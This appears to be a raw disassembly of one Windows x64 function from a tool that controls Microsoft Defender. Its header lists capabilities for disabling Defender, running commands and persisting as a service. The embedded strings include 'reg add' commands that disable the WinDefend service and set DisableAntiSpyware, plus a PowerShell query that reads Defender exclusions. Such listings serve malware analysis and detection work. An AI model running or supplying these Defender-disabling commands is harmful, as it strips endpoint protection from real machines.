Function at 0x140006f80
Capabilities:
Disable windows defender features via registry on windows
Execute command
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov rax, qword [0x14002c028]
xor rax, rsp
mov qword [rbp + 0x2f8], rax
mov r14, rdx
mov qword [rbp - 0x80], rdx
mov rax, rcx
mov qword [rsp + 0x58], rcx
mov qword [rbp + 0x58], rcx
mov qword [rbp + 0xe0], rdx
xor r12d, r12d
mov dword [rsp + 0x44], r12d
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rcx
movdqa xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x70], xmm1
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmmword [rbp + 0x90], xmm1
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmmword [rbp + 0xb0], xmm1
lea rcx, [rbp + 0x60]
mov qword [rbp - 0x70], rcx
lea rcx, [rbp + 0xc0]
mov qword [rbp - 0x68], rcx
lea rdx, [rbp - 0x70]
mov rcx, rax
call fcn.14000b2c0
mov edi, 1
mov dword [rsp + 0x44], edi
lea r9, [fcn.14000c790]
lea edx, [rdi + 0x17]
lea r8d, [r12 + 4]
lea rcx, [rbp + 0x60]
call fcn.14001f26c
mov rcx, r14
mov rsi, qword [r14 + 0x18]
cmp rsi, 0x10
jb 0x14000705b
mov rcx, qword [r14]
mov rbx, qword [r14 + 0x10]
cmp rbx, 6
jne 0x140007805
mov r8, rbx
lea rdx, str.STATUS
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007805
lea rdx, str.reg_query__HKLMSYSTEMCurrentControlSetServicesWinDefend___v__Start_
lea rcx, [rbp + 0x240]
call fcn.1400019d0
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.140002800
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x48], rax
lea rdx, [0x140023a0c]
lea rcx, [rbp - 0x28]
call fcn.1400019d0
mov rbx, rax
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x50]
call fcn.14000cf70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.140002020
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov rsi, r12
mov qword [rbp + 0x1d0], r12
mov r15d, 0xf
mov qword [rbp + 0x1d8], r15
mov byte [rbp + 0x1c0], sil
mov r13, r12
mov rax, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x108]
sub rax, rcx
lea r12d, [r15 - 0xd]
cmp rax, 0x20
jb 0x1400074fb
xor esi, esi
mov r12d, esi
lea rdx, [0x140023a10]
movabs r8, 0x7fffffffffffffff
lea r9, [rcx + r12]
mov rcx, qword [r9 + 0x10]
mov rax, r8
sub rax, rcx
cmp rax, 3
jb 0x140008767
cmp qword [r9 + 0x18], 0x10
jb 0x140007178
mov r9, qword [r9]
mov qword [rsp + 0x30], 3
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x160]
call fcn.14000f020
or edi, 2
mov dword [rsp + 0x44], edi
lea rbx, [rbp + 0x160]
mov r14, qword [rbp + 0x178]
cmp r14, 0x10
cmovae rbx, qword [rbp + 0x160]
mov rax, qword [rbp + 0x170]
cmp rax, 5
jb 0x140007246
lea rsi, [rbx + rax]
lea r8, [rsi - 4]
sub r8, rbx
mov edx, 0x53
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x140007244
nop dword [rax]
xor eax, eax
lea rdx, str.Start
nop dword [rax]
movzx ecx, byte [r9 + rax]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x140007218
cmp rax, 5
jne 0x140007200
xor eax, eax
jmp 0x14000721d
sbb eax, eax
or eax, 1
test eax, eax
je 0x1400075d6
inc r9
lea r8, [rsi - 4]
sub r8, r9
mov edx, 0x53
mov rcx, r9
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
jne 0x1400071f0
xor esi, esi
mov r9, 0xffffffffffffffff
cmp r9d, 0xffffffff
je 0x14000748a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2b0], xmm0
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2b0], rsi
lea rax, [rbp + 0x2b8]
mov qword [rsp + 0x48], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rbp + 0x2d0], rax
lea rcx, [rbp + 0x2b8]
call fcn.14000d830
nop
lea r8, [0x140023ada]
lea rdx, str..REG_DWORD___0x__0_9__.
lea rcx, [rbp + 0x2b0]
call fcn.14000e210
nop
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
or edi, 4
mov dword [rsp + 0x44], edi
movups xmmword [rbp + 0x2d8], xmm0
mov qword [rbp + 0x2e8], 2
mov qword [rbp + 0x2f0], 0xf
mov eax, 0x3124
mov word [rbp + 0x2d8], ax
mov byte [rbp + 0x2da], 0
lea r9, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
setae r10b
cmovae r9, qword [rbp + 0x160]
add r9, qword [rbp + 0x170]
lea r8, [rbp + 0x160]
test r10b, r10b
cmovne r8, qword [rbp + 0x160]
lea rax, [rbp + 0x2d8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x50]
call fcn.14000ff70
nop
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0x10
jb 0x1400073a5
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400073a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400075e0
call fcn.14001f0bc
cmp r15, 0x10
jb 0x1400073e0
lea rdx, [r15 + 1]
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400073db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400075e7
call fcn.14001f0bc
movups xmm0, xmmword [rbp - 8]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rbp + 8]
movups xmmword [rbp + 0x1d0], xmm1
and edi, 0xfffffffb
mov dword [rsp + 0x44], edi
mov rcx, qword [rbp + 0x2b0]
test rcx, rcx
je 0x140007450
mov eax, 0xffffffff
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x14000744c
mov rbx, qword [rbp + 0x2b0]
test rbx, rbx
je 0x14000744c
nop dword [rax]
nop dword [rax + rax]
mov rcx, rbx
lea rax, [rbx + 0x10]
mov rbx, qword [rax]
mov qword [rax], rsi
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
test rbx, rbx
jne 0x140007430
mov edi, dword [rsp + 0x44]
mov qword [rbp + 0x2b0], rsi
mov rcx, qword [rbp + 0x2d0]
test rcx, rcx
je 0x14000747c
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14000747c
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov r14, qword [rbp + 0x178]
mov r15, qword [rbp + 0x1d8]
cmp r14, 0x10
jb 0x1400074c5
lea rdx, [r14 + 1]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400074c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400075ee
call fcn.14001f0bc
inc r13
add r12, 0x20
mov rax, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x108]
sub rax, rcx
sar rax, 5
cmp r13, rax
jne 0x140007145
mov rsi, qword [rbp + 0x1d0]
mov r14, qword [rbp - 0x80]
mov r12d, 2
lea rcx, [rbp + 0x1c0]
mov rbx, qword [rbp + 0x1c0]
cmp r15, 0x10
cmovae rcx, rbx
cmp rsi, 1
jne 0x14000752a
mov r8, rsi
lea rdx, [0x140023ce0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000755a
lea rcx, [rbp + 0x1c0]
cmp r15, 0x10
cmovae rcx, rbx
cmp rsi, 1
jne 0x140007681
mov r8, rsi
lea rdx, [0x140023ce4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007681
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], 3
mov qword [rbp + 0x100], 0xf
movzx eax, word [0x140023ae0]
mov word [rbp + 0xe8], ax
movzx eax, byte [0x140023ae2]
mov byte [rbp + 0xea], al
mov byte [rbp + 0xeb], 0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x1400075f5
movups xmm0, xmmword [rbp + 0xe8]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xf8]
movups xmmword [rdx + 0x10], xmm1
mov edx, 0xf
mov byte [rbp + 0xe8], 0
add qword [rcx + 8], 0x20
jmp 0x140007608
sub r9, rbx
xor esi, esi
jmp 0x14000724d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r8, [rbp + 0xe8]
call fcn.14000f320
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x140007643
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000763d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000773a
call fcn.14001f0bc
nop
cmp r15, 0x10
jb 0x14000774a
lea rdx, [r15 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140007741
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007741
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r12
mov qword [rbp + 0x100], 0xf
mov eax, 0x4e4f
mov word [rbp + 0xe8], ax
mov byte [rbp + 0xea], 0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x1400076ea
movups xmm0, xmmword [rbp + 0xe8]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0xf8]
movups xmmword [rdx + 0x10], xmm1
mov edx, 0xf
mov byte [rbp + 0xe8], 0
add qword [rcx + 8], 0x20
jmp 0x1400076fd
lea r8, [rbp + 0xe8]
call fcn.14000f320
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x140007643
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000763d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000763d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rbx
call fcn.14001f0bc
nop
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x1400077ba
mov rdx, qword [rbp + 0x110]
call fcn.14000e520
mov rdx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x108]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000779f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000779f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x1400086e7
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400080c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400080c6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
cmp rsi, 0x10
jb 0x140007811
mov rcx, qword [r14]
cmp rbx, 9
jne 0x1400080d0
mov r8, rbx
lea rdx, str.EXCEPTION
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400080d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
lea ecx, [rbx + 0x37]
call fcn.14001f080
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1b0], 0x31
mov qword [rbp + 0x1b8], 0x3f
movups xmm0, xmmword [str.powershell__Command__Get_MpPreference__fl_excl_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140023d08]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140023d18]
movups xmmword [rax + 0x20], xmm0
movzx ecx, byte [0x140023d28]
mov byte [rax + 0x30], cl
mov byte [rax + 0x31], 0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x240]
call fcn.14000cf70
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.140002800
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x288], xmm0
movups xmmword [rbp + 0x298], xmm0
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x288], r12
lea rax, [rbp + 0x290]
mov qword [rsp + 0x48], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rbp + 0x2a8], rax
lea rcx, [rbp + 0x290]
call fcn.14000d830
nop
lea r8, [0x140023d30]
lea rdx, str.__
lea rcx, [rbp + 0x288]
call fcn.14000e210
nop
lea r9, [0x140023a10]
lea r8, [rbp + 0x288]
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x1e0]
call fcn.14000dcc0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rax
lea rax, [rbp + 0x240]
mov qword [rsp + 0x48], rax
lea rdx, [0x140023a0c]
lea rcx, [rbp + 0x240]
call fcn.1400019d0
mov rbx, rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x28]
call fcn.14000cf70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140002020
nop
mov qword [rsp + 0x50], r12
mov rdx, qword [rbp + 0x128]
mov rax, rdx
mov rcx, qword [rbp + 0x120]
sub rax, rcx
cmp rax, 0x20
jb 0x140007f28
mov r8, r12
mov qword [rsp + 0x48], r12
nop dword [rax]
lea rdx, [rcx + r8]
lea rcx, [rbp + 0x140]
call fcn.14000cf70
nop
lea rdi, [rbp + 0x140]
mov r13, qword [rbp + 0x158]
cmp r13, 0x10
setae byte [rsp + 0x40]
mov rsi, qword [rbp + 0x140]
cmovae rdi, rsi
mov r14, qword [rbp + 0x150]
cmp r14, 0x12
jb 0x140007a5c
lea r15, [rdi + r14]
lea r8, [r15 - 0x11]
sub r8, rdi
mov edx, 0x45
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140007a5c
mov r8d, 0x12
lea rdx, str.ExclusionExtension
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007b6b
inc rbx
lea r8, [r15 - 0x11]
sub r8, rbx
mov edx, 0x45
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140007a20
mov rbx, 0xffffffffffffffff
mov edi, r12d
cmp rbx, 0xffffffffffffffff
setne dil
dec edi
lea r15, [rbp + 0x140]
movzx eax, byte [rsp + 0x40]
test al, al
cmovne r15, rsi
cmp r14, 0x12
jb 0x140007af2
lea r12, [r15 + r14]
lea r8, [r12 - 0x11]
sub r8, r15
mov edx, 0x45
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140007aed
nop dword [rax]
mov r8d, 0x12
lea rdx, str.ExclusionIpAddress
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007b73
inc rbx
lea r8, [r12 - 0x11]
sub r8, rbx
mov edx, 0x45
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140007ab0
movzx eax, byte [rsp + 0x40]
lea r15, [rbp + 0x140]
test al, al
cmovne r15, rsi
cmp r14, 0xd
jb 0x140007ba3
lea r12, [r15 + r14]
lea r8, [r12 - 0xc]
sub r8, r15
mov edx, 0x45
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140007b9e
nop word [rax + rax]
mov r8d, 0xd
lea rdx, str.ExclusionPath
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007b8f
inc rbx
lea r8, [r12 - 0xc]
sub r8, rbx
mov edx, 0x45
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140007b30
jmp 0x140007b9e
sub rbx, rdi
jmp 0x140007a63
sub rbx, r15
movzx eax, byte [rsp + 0x40]
cmp rbx, 0xffffffffffffffff
je 0x140007af2
mov edi, 1
jmp 0x140007af2
sub rbx, r15
cmp rbx, 0xffffffffffffffff
mov eax, 2
cmovne edi, eax
movzx eax, byte [rsp + 0x40]
lea r15, [rbp + 0x140]
test al, al
cmovne r15, rsi
cmp r14, 0x10
jb 0x140007c19
lea r12, [r15 + r14]
lea r8, [r12 - 0xf]
sub r8, r15
mov edx, 0x45
mov rcx, r15
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140007c19
nop word [rax + rax]
mov r8d, 0x10
lea rdx, str.ExclusionProcess
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007c75
inc rbx
lea r8, [r12 - 0xf]
sub r8, rbx
mov edx, 0x45
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140007be0
cmp edi, 0xffffffff
je 0x140007eae
lea rbx, [rbp + 0x140]
cmp byte [rsp + 0x40], 0
cmovne rbx, rsi
cmp r14, 3
jb 0x140007eae
lea r8, [r14 - 2]
add r8, rbx
sub r8, rbx
mov edx, 0x23
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140007eae
nop dword [rax]
cmp byte [rax], 0x23
jne 0x140007c85
cmp byte [rax + 1], 0x23
jne 0x140007c85
cmp byte [rax + 2], 0x23
jne 0x140007c85
xor ecx, ecx
jmp 0x140007c8a
sub rbx, r15
cmp rbx, 0xffffffffffffffff
je 0x140007c19
mov edi, 3
jmp 0x140007c22
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140007cb2
inc rax
lea r8, [r14 - 2]
add r8, rbx
sub r8, rax
mov edx, 0x23
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140007c60
jmp 0x140007eae
sub rax, rbx
cmp rax, 0xffffffffffffffff
je 0x140007eae
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x260], rax
lea rax, [rbp + 0x268]
mov qword [rbp - 0x30], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rbp + 0x280], rax
lea rcx, [rbp + 0x268]
call fcn.14000d830
nop
lea r8, [0x140023d9e]
lea rdx, str.._._.
lea rcx, [rbp + 0x260]
call fcn.14000e210
nop
lea r9, [0x140023a38]
lea r8, [rbp + 0x260]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x180]
call fcn.14000dcc0
nop
lea rax, [rsp + 0x60]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 2
mov qword [rsp + 0x78], 0xf
mov eax, 0x202c
mov word [rsp + 0x60], ax
mov byte [rsp + 0x62], 0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x220]
call fcn.14000cf70
nop
lea r8, [rsp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.140002020
movsxd rcx, edi
lea rdx, [rcx + rcx*2]
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rcx]
lea rcx, [rcx + rdx*8]
mov rdx, rax
call fcn.14000c800
mov rcx, qword [rbp + 0xe8]
test rcx, rcx
je 0x140007e11
mov rdx, qword [rbp + 0xf0]
call fcn.14000e520
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0xe8]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007f6f
call fcn.14001f0bc
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x140007e52
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007f76
call fcn.14001f0bc
mov qword [rbp + 0x190], 0
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], 0
lea rcx, [rbp + 0x260]
call fcn.14000d570
mov rcx, qword [rbp + 0x280]
test rcx, rcx
je 0x140007ea0
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140007ea0
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rsi, qword [rbp + 0x140]
mov r13, qword [rbp + 0x158]
cmp r13, 0x10
jb 0x140007ee5
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140007edd
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007f7d
mov rcx, rsi
call fcn.14001f0bc
mov rbx, qword [rsp + 0x50]
inc rbx
mov qword [rsp + 0x50], rbx
mov r8, qword [rsp + 0x48]
add r8, 0x20
mov qword [rsp + 0x48], r8
mov rdx, qword [rbp + 0x128]
mov rax, rdx
mov rcx, qword [rbp + 0x120]
sub rax, rcx
sar rax, 5
xor r12d, r12d
cmp rbx, rax
jne 0x1400079c0
mov r14, qword [rbp - 0x80]
test rcx, rcx
je 0x140007f9b
call fcn.14000e520
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007f84
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14001f0bc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r12
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140007fdf
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007fda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007fda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x1f0], xmm0
mov byte [rbp + 0x1e0], 0
lea rcx, [rbp + 0x288]
call fcn.14000d570
mov rcx, qword [rbp + 0x2a8]
test rcx, rcx
je 0x140008028
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140008028
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x14000806c
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008067
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008067
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x200], 0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x1400086e7
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400080c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400080c6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
jmp 0x1400086e7
mov rcx, r14
cmp rsi, 0x10
jb 0x1400080dc
mov rcx, qword [r14]
cmp rbx, 4
jne 0x14000868b
mov r8, rbx
lea rdx, str.STOP
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000868b
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], 1
mov qword [rbp + 0x100], 0xf
mov word [rbp + 0xe8], 0x26
mov qword [rsp + 0x30], 1
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x5a
lea r9, str.reg_add__HKLMSYSTEMCurrentControlSetServicesWinDefend___v__Start___t_REG_DWORD__d_4__f
lea rcx, [rbp - 0x28]
call fcn.14000f020
mov dword [rsp + 0x44], 0x21
lea r8d, [rbx + 0x69]
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_Defender___v__AllowFastServiceStartup___t_REG_DWORD__d_0__f
lea rcx, [rbp - 0x28]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x230], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x230], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x61
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rbp + 0x220]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0xe1
lea r8d, [rbx + 0x64]
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_Defender___v__DisableAntiSpyware___t_REG_DWORD__d_1__f
lea rcx, [rbp - 0x50]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x1e1
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
